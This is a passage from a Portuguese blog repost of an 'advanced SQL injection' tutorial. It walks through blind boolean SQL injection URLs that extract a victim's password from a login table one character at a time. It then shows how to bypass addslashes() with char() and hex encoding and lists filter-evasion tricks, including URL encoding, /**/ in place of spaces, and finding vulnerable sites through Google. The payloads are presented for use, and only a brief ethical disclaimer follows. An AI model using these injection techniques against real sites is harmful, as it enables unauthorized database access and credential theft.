http://site.com.br/noticias.php?id=1 AND ascii(substring((select pass from login where user=’vitima’),1,1)) > 109
A página foi exibida, o que significa que o primeiro caractere está acima de ‘m’:

http://site.com.br/noticias.php?id=1 AND ascii(substring((select pass from login where user=’vitima’),1,1)) > 117

Agora a página não é exibida, pois ‘s’ em ASCII é 115. Vamos tentar 113:

http://site.com.br/noticias.php?id=1 AND ascii(substring((select pass from login where user=’vitima’),1,1)) > 113

A página é exibida, então temos um caractere ASCII entre 113 e 117.
http://site.com.br/noticias.php?id=1 AND ascii(substring((select pass from login where user=’vitima’),1,1)) > 114
TRUE novamente.
http://site.com.br/noticias.php?id=1 AND ascii(substring((select pass from login where user=’vitima’),1,1)) > 115
FALSE! Isso significa que é 115! Ou, em caracteres, a letra “s”.
Para pegar o próximo caractere da senha, no caso, “e”, fazemos o mesmo, porém, vamos mudar a substring:

http://site.com.br/noticias.php?id=1 AND ascii(substring((select pass from login where user=’vitima’),2,1))

SQL sem aspas
Provavelmente, enquanto estava injetando SQL em alguma página – não adianta negar que não tentou – provavelmente, deve ter recebido um erro semelhante a este:
——————————————————————————————————-
You have an error in your SQL syntax; check the manual that corresponds to your
MySQL server version for the right syntax to use near ‘\’’ at line 1
——————————————————————————————————-

Pois bem, o administrador tentou proteger seu sistema utilizando uma função que adiciona uma barra invertida “\” antes de aspas duplas e aspas simples, a addslashes(). Como sabemos, podemos fazer grande parte da SQL sem aspas , mas quando forem necessárias, podemos utilizar de vários meios para burlar essa proteção. Um deles, para MySQL, é converter cada caractere para seu valor ASCII e utilizar o seguinte formato:
char (11,22,33,44,55)
Em SQL Server, você pode utilizar uma solução parecida:
char (11) + char (22) + char (33) + char (44) + char (55)
Podemos ainda utilizar valores hexadecimais, precedidos por 0x, que indica o valor hexadecimal da constante, deste modo:
0×1122334455

SQL Tricks (truques)
Bom, aqui estão algumas considerações que podem ser decisivas na hora de uma boa SQL:
• — (dois sinais menos) são sinais de comentários “padrão”, mas dependendo do sistema, deve-se usar /* ou #);
• às vezes, o sistema bloqueia espaços no campo de id, para burlar isso e juntar tudo, podemos utilizar %20 no lugar de espaços e %27 no lugar de aspas simples;
• quando isso não funciona, podemos substituir espaços por char(0×20), por +, e em MySQL, às vezes, por /**/;
• se estiver trabalhando em sistemas com que se orientam por IDs e números em geral, não use aspas duplas ou aspas simples, pois não se usa qualquer tratamento diferente com números, ao contrário das strings;
• scanners são para lammers, se quiser achar alguma página vulnerável, utilize o Google;
• tudo varia muito, cada site tem sua própria plataforma, dialeto, padrões e forma de trabalhar diferente, aqui eu procurei ser bastante genérico falando do SQL Server e do MySQL, mas não disse tudo;
Finalizando

Eu gostaria de pedir que o caro leitor não utilize este conhecimento como lammer, ou como script-kiddie, mas sim como um ser humano maduro que “hackeia” apenas para contemplar as falhas do sistema.
Creio que com esta matéria eu tornei o mundo o lugar melhor.
——————————————————————————————————-
Legal, agora você conhece a ponta do iceberg!

RETIRADO DE: http://www.inw-seguranca.com/2011/08/24/tutorial-sql-injection-avancado/

0 comentários:

Postar um comentário

Proibido palavras ofensivas, racistas ou descriminatórias.

[Seu Comentário será liberado no máximo em 24horas]